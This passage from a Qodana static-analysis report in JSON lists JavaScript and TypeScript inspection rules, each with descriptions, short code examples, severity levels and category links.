**document.anchors**.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XHTMLIncompatabilitiesJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/DOM issues\",\n                      \"index\": 48,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"IncrementDecrementResultUsedJS\",\n                \"shortDescription\": {\n                  \"text\": \"Result of increment or decrement used\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an increment ('++') or decrement ('--') expression where the result of the assignment is used in a containing expression. Such assignments can result in confusion due to the order of operations, as evaluation of the assignment may affect the outer expression in unexpected ways. Example: 'var a = b++'\",\n                  \"markdown\": \"Reports an increment (`++`) or decrement (`--`) expression where the result of the assignment is used in a containing expression. Such assignments can result in confusion due to the order of operations, as evaluation of the assignment may affect the outer expression in unexpected ways. Example: `var a = b++`\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"IncrementDecrementResultUsedJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"SuspiciousTypeOfGuard\",\n                \"shortDescription\": {\n                  \"text\": \"Unsound type guard check\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'typeof' or 'instanceof' unsound type guard check. The 'typeof x' type guard can be unsound in one of the following two cases: 'typeof x' never corresponds to the specified value (for example, 'typeof x === 'number'' when 'x' is of the type 'string | boolean') 'typeof x' always corresponds to the specified value (for example, 'typeof x === 'string'' when 'x' is of the type 'string') The 'x instanceof A' type guard can be unsound in one of the following two cases: The type of 'x' is not related to 'A' The type of 'x' is 'A' or a subtype of 'A'\",\n                  \"markdown\": \"Reports a `typeof` or `instanceof` unsound type guard check. The `typeof x` type guard can be unsound in one of the following two cases:\\n\\n* `typeof x` never corresponds to the specified value (for example, `typeof x === 'number'` when `x` is of the type 'string \\\\| boolean')\\n* `typeof x` always corresponds to the specified value (for example, `typeof x === 'string'` when `x` is of the type 'string')\\n\\nThe `x instanceof A` type guard can be unsound in one of the following two cases:\\n\\n* The type of `x` is not related to `A`\\n* The type of `x` is `A` or a subtype of `A`\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"SuspiciousTypeOfGuard\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptJSXUnresolvedComponent\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved JSX component\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved reference to a JSX component. Suggests adding an import statement if the referenced component is defined in the project or its dependencies or creating a new component with the specified name. The template for a new component can be modified in Editor | File and Code Templates.\",\n                  \"markdown\": \"Reports an unresolved reference to a JSX component. Suggests adding an import statement if the referenced component is defined in the project or its dependencies or creating a new component with the specified name.\\n\\nThe template for a new component can be modified in Editor \\\\| File and Code Templates.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptJSXUnresolvedComponent\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptFieldCanBeMadeReadonly\",\n                \"shortDescription\": {\n                  \"text\": \"Field can be readonly\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a private field that can be made readonly (for example, if the field is assigned only in the constructor).\",\n                  \"markdown\": \"Reports a private field that can be made readonly (for example, if the field is assigned only in the constructor).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptFieldCanBeMadeReadonly\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6DestructuringVariablesMerge\",\n                \"shortDescription\": {\n                  \"text\": \"Destructuring properties with the same key\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports multiple destructuring properties with identical keys. Suggests merging the properties.\",\n                  \"markdown\": \"Reports multiple destructuring properties with identical keys. Suggests merging the properties.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6DestructuringVariablesMerge\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"LoopStatementThatDoesntLoopJS\",\n                \"shortDescription\": {\n                  \"text\": \"Loop statement that doesn't loop\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'for', 'while', or 'do' statement whose bodies are guaranteed to execute at most once. Normally, this indicates an error.\",\n                  \"markdown\": \"Reports a `for`, `while`, or `do` statement whose bodies are guaranteed to execute at most once. Normally, this indicates an error.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"LoopStatementThatDoesntLoopJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NegatedIfStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Negated 'if' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports if statements which have an else branch and a negated condition. Flipping the order of the if and else branches will usually increase the clarity of such statements.\",\n                  \"markdown\": \"Reports **if** statements which have an **else** branch and a negated condition. Flipping the order of the **if** and **else** branches will usually increase the clarity of such statements.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NegatedIfStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSNonASCIINames\",\n                \"shortDescription\": {\n                  \"text\": \"Identifiers with non-ASCII symbols\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a non-ASCII symbol in a name. If the 'Allow only ASCII names' option is selected, reports all names that contain non-ASCII symbols. Otherwise reports all names that contain both ASCII and non-ASCII symbols.\",\n                  \"markdown\": \"Reports a non-ASCII symbol in a name.  \\n\\nIf the 'Allow only ASCII names' option is selected, reports all names that contain non-ASCII symbols.  \\nOtherwise reports all names that contain both ASCII and non-ASCII symbols.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSNonASCIINames\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Naming conventions\",\n                      \"index\": 46,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptRedundantGenericType\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant type arguments\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a type argument that is equal to the default one and can be removed. Example: 'type Foo<T=number> = T;\\nlet z: Foo<number>;'\",\n                  \"markdown\": \"Reports a type argument that is equal to the default one and can be removed.\\n\\n\\nExample:\\n\\n\\n    type Foo<T=number> = T;\\n    let z: Foo<number>;\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptRedundantGenericType\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptUMDGlobal\",\n                \"shortDescription\": {\n                  \"text\": \"Referenced UMD global variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of a Universal Module Definition (UMD) global variable if the current file is a module (ECMAScript or CommonJS). Referencing UMD variables without explicit imports can lead to a runtime error if the library isn't included implicitly.\",\n                  \"markdown\": \"Reports a usage of a Universal Module Definition (UMD) global variable if the current file is a module (ECMAScript or CommonJS). Referencing UMD variables without explicit imports can lead to a runtime error if the library isn't included implicitly.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptUMDGlobal\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnnecessaryReturnJS\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary 'return' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unnecessary 'return' statement, that is, a 'return' statement that returns no value and occurs just before the function would have \\\"fallen through\\\" the bottom. These statements may be safely removed.\",\n                  \"markdown\": \"Reports an unnecessary `return` statement, that is, a `return` statement that returns no value and occurs just before the function would have \\\"fallen through\\\" the bottom. These statements may be safely removed.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnnecessaryReturnStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ConditionalExpressionWithIdenticalBranchesJS\",\n                \"shortDescription\": {\n                  \"text\": \"Conditional expression with identical branches\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a ternary conditional expression with identical 'then' and 'else' branches.\",\n                  \"markdown\": \"Reports a ternary conditional expression with identical `then` and `else` branches.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ConditionalExpressionWithIdenticalBranchesJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSAnnotator\",\n                \"shortDescription\": {\n                  \"text\": \"ECMAScript specification is not followed\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports basic syntax issues and inconsistencies with language specification, such as invalid usages of keywords, usages of incompatible numeric format, or multiple parameters to getters/setters. Generally, such errors must always be reported and shouldn't be disabled. But in some cases, such as issues due to the dynamic nature of JavaScript, the use of not yet supported language features, or bugs in IDE's checker, it may be handy to disable reporting these very basic errors.\",\n                  \"markdown\": \"Reports basic syntax issues and inconsistencies with language specification, such as invalid usages of keywords, usages of incompatible numeric format, or multiple parameters to getters/setters.   \\nGenerally, such errors must always be reported and shouldn't be disabled. But in some cases, such as issues due to the dynamic nature of JavaScript, the use of not yet supported language features, or bugs in IDE's checker, it may be handy to disable reporting these very basic errors.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSAnnotator\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSIncompatibleTypesComparison\",\n                \"shortDescription\": {\n                  \"text\": \"Comparison of expressions having incompatible types\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a comparison with operands of incompatible types or an operand with a type without possible common values.\",\n                  \"markdown\": \"Reports a comparison with operands of incompatible types or an operand with a type without possible common values.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSIncompatibleTypesComparison\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUnfilteredForInLoop\",\n                \"shortDescription\": {\n                  \"text\": \"Unfiltered for..in loop\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unfiltered 'for-in' loops. The use of this construct results in processing not only own properties of an object but properties from its prototype as well. It may be unexpected in some specific cases, for example, in utility methods that copy or modify all properties or when 'Object''s prototype may be incorrectly modified. For example, the following code will print 42 and myMethod: 'Object.prototype.myMethod = function myMethod() {};\\nlet a = { foo: 42 };\\nfor (let i in a) {\\n  console.log(a[i]);\\n}' Suggests replacing the whole loop with a 'Object.keys()' method or adding a 'hasOwnProperty()' check. After applying the quick-fix the code looks as follows: 'for (let i in a) {\\n  if (a.hasOwnProperty(i)) {\\n    console.log(a[i]);\\n  }\\n}'\",\n                  \"markdown\": \"Reports unfiltered `for-in` loops.   \\n\\nThe use of this construct results in processing not only own properties of an object but properties from its prototype as well. It may be unexpected in some specific cases, for example, in utility methods that copy or modify all properties or when `Object`'s prototype may be incorrectly modified. For example, the following code will print **42** and **myMethod** :   \\n\\n\\n    Object.prototype.myMethod = function myMethod() {};\\n    let a = { foo: 42 };\\n    for (let i in a) {\\n      console.log(a[i]);\\n    }\\n\\nSuggests replacing the whole loop with a `Object.keys()` method or adding a `hasOwnProperty()` check. After applying the quick-fix the code looks as follows:\\n\\n\\n    for (let i in a) {\\n      if (a.hasOwnProperty(i)) {\\n        console.log(a[i]);\\n      }\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUnfilteredForInLoop\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSLastCommaInObjectLiteral\",\n                \"shortDescription\": {\n                  \"text\": \"Unneeded last comma in object literal\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports usages of a trailing comma in object literals. The warning is reported only when the JavaScript language version is set to ECMAScript 5.1. Trailing commas in object literals are allowed by the specification, however, some browsers might throw an error when a trailing comma is used. You can configure formatting options for trailing commas in Code Style | JavaScript or TypeScript | Punctuation.\",\n                  \"markdown\": \"Reports usages of a trailing comma in object literals.\\n\\nThe warning is reported only when the JavaScript language version is set to ECMAScript 5.1.\\n\\nTrailing commas in object literals are allowed by the specification, however, some browsers might throw an error when a trailing comma is used.\\n\\nYou can configure formatting options for trailing commas in **Code Style** \\\\| **JavaScript** or **TypeScript** \\\\| **Punctuation**.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSLastCommaInObjectLiteral\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSFunctionExpressionToArrowFunction\",\n                \"shortDescription\": {\n                  \"text\": \"Function expression is used instead of arrow function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function expression. Suggests converting it to an arrow function. Example: 'arr.map(function(el) {return el + 1})' After applying the quick-fix the code looks as follows: 'arr.map(el => el + 1)'\",\n                  \"markdown\": \"Reports a [function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function) expression. Suggests converting it to an [arrow function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions).\\n\\nExample:\\n\\n    arr.map(function(el) {return el + 1})\\n\\nAfter applying the quick-fix the code looks as follows:\\n\\n    arr.map(el => el + 1)\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSFunctionExpressionToArrowFunction\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/ES2015 migration aids\",\n                      \"index\": 18,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6TopLevelAwaitExpression\",\n                \"shortDescription\": {\n                  \"text\": \"Top-level 'await' expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of a top-level 'await' expression. While the new 'top-level async' proposal is on its way, using 'await' outside async functions is not allowed.\",\n                  \"markdown\": \"Reports a usage of a top-level `await` expression. While the new 'top-level async' proposal is on its way, using `await` outside async functions is not allowed.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6TopLevelAwaitExpression\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Async code and promises\",\n                      \"index\": 49,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6MissingAwait\",\n                \"shortDescription\": {\n                  \"text\": \"Missing await for an async function call\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an 'async' function call without an expected 'await' prefix inside an 'async' function. Such call returns a 'Promise' and control flow is continued immediately. Example: 'async function bar() { /* ... */ }\\nasync function foo() {\\n    bar(); // bad\\n}' After the quick-fix is applied, the 'await' prefix is added: 'async function bar() { /* ... */ }\\nasync function foo() {\\n    await bar(); // good\\n}' When the 'Report for promises in return statements' checkbox is selected, also suggests adding 'await' in return statements. While this is generally not necessary, it gives two main benefits. You won't forget to add 'await' when surrounding your code with 'try-catch'. An explicit 'await' helps V8 runtime to provide async stack traces.\",\n                  \"markdown\": \"Reports an `async` function call without an expected `await` prefix inside an `async` function. Such call returns a `Promise` and control flow is continued immediately.\\n\\nExample:\\n\\n\\n    async function bar() { /* ... */ }\\n    async function foo() {\\n        bar(); // bad\\n    }\\n\\n\\nAfter the quick-fix is applied, the `await` prefix is added:\\n\\n\\n    async function bar() { /* ... */ }\\n    async function foo() {\\n        await bar(); // good\\n    }\\n\\nWhen the 'Report for promises in return statements' checkbox is selected, also suggests adding `await` in return statements.  \\nWhile this is generally not necessary, it gives two main benefits.  \\n\\n* You won't forget to add `await` when surrounding your code with `try-catch`.\\n* An explicit `await` helps V8 runtime to provide [async stack traces](https://bit.ly/v8-zero-cost-async-stack-traces).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6MissingAwait\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Async code and promises\",\n                      \"index\": 49,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TailRecursionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Tail recursion\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a tail recursion, that is, when a function calls itself as its last action before returning. A tail recursion can always be replaced by looping, which will be considerably faster. Some JavaScript engines perform this optimization, while others do not. Thus, tail recursive solutions may have considerably different performance characteristics in different environments.\",\n                  \"markdown\": \"Reports a tail recursion, that is, when a function calls itself as its last action before returning. A tail recursion can always be replaced by looping, which will be considerably faster. Some JavaScript engines perform this optimization, while others do not. Thus, tail recursive solutions may have considerably different performance characteristics in different environments.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TailRecursionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6ConvertToForOf\",\n                \"shortDescription\": {\n                  \"text\": \"'for..in' is used instead of 'for..of'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of a 'for..in' loop on an array. Suggests replacing it with a 'for..of' loop. 'for..of' loops, which are introduced in ECMAScript 6, iterate over 'iterable' objects. For arrays, this structure is preferable to 'for..in', because it works only with array values but not with array object's properties.\",\n                  \"markdown\": \"Reports a usage of a [for..in](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in) loop on an array. Suggests replacing it with a [for..of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of) loop.   \\n`for..of` loops, which are introduced in ECMAScript 6, iterate over `iterable` objects. For arrays, this structure is preferable to `for..in`, because it works only with array values but not with array object's properties.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6ConvertToForOf\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/ES2015 migration aids\",\n                      \"index\": 18,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"FlowJSCoverage\",\n                \"shortDescription\": {\n                  \"text\": \"Code is not covered by Flow\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports JavaScript code fragments that are not covered by the Flow type checker. To use this inspection, configure the Flow executable in Settings | Languages & Frameworks | JavaScript.\",\n                  \"markdown\": \"Reports JavaScript code fragments that are not covered by the Flow type checker. To use this inspection, configure the Flow executable in [Settings \\\\| Languages \\\\& Frameworks \\\\| JavaScript](settings://Settings.JavaScript).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FlowJSCoverage\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Flow type checker\",\n                      \"index\": 12,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ParameterNamingConventionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Function parameter naming convention\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function parameter whose name is too short, too long, or doesn't follow the specified regular expression pattern. Use the fields provided below to specify minimum length, maximum length and regular expression expected for local variables names. Use the standard 'java.util.regex' format regular expressions.\",\n                  \"markdown\": \"Reports a function parameter whose name is too short, too long, or doesn't follow the specified regular expression pattern.\\n\\n\\nUse the fields provided below to specify minimum length, maximum length and regular expression\\nexpected for local variables names. Use the standard `java.util.regex` format regular expressions.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ParameterNamingConventionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Naming conventions\",\n                      \"index\": 46,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUndefinedPropertyAssignment\",\n                \"shortDescription\": {\n                  \"text\": \"Undefined property assignment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment to a property that is not defined in the type of a variable. Example: '/**\\n * @type {{ property1: string, property2: number }}\\n */\\nlet myVariable = create();\\n\\nmyVariable.newProperty = 3; // bad'\",\n                  \"markdown\": \"Reports an assignment to a property that is not defined in the type of a variable.\\n\\nExample:\\n\\n\\n    /**\\n     * @type {{ property1: string, property2: number }}\\n     */\\n    let myVariable = create();\\n\\n    myVariable.newProperty = 3; // bad\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUndefinedPropertyAssignment\",\n                    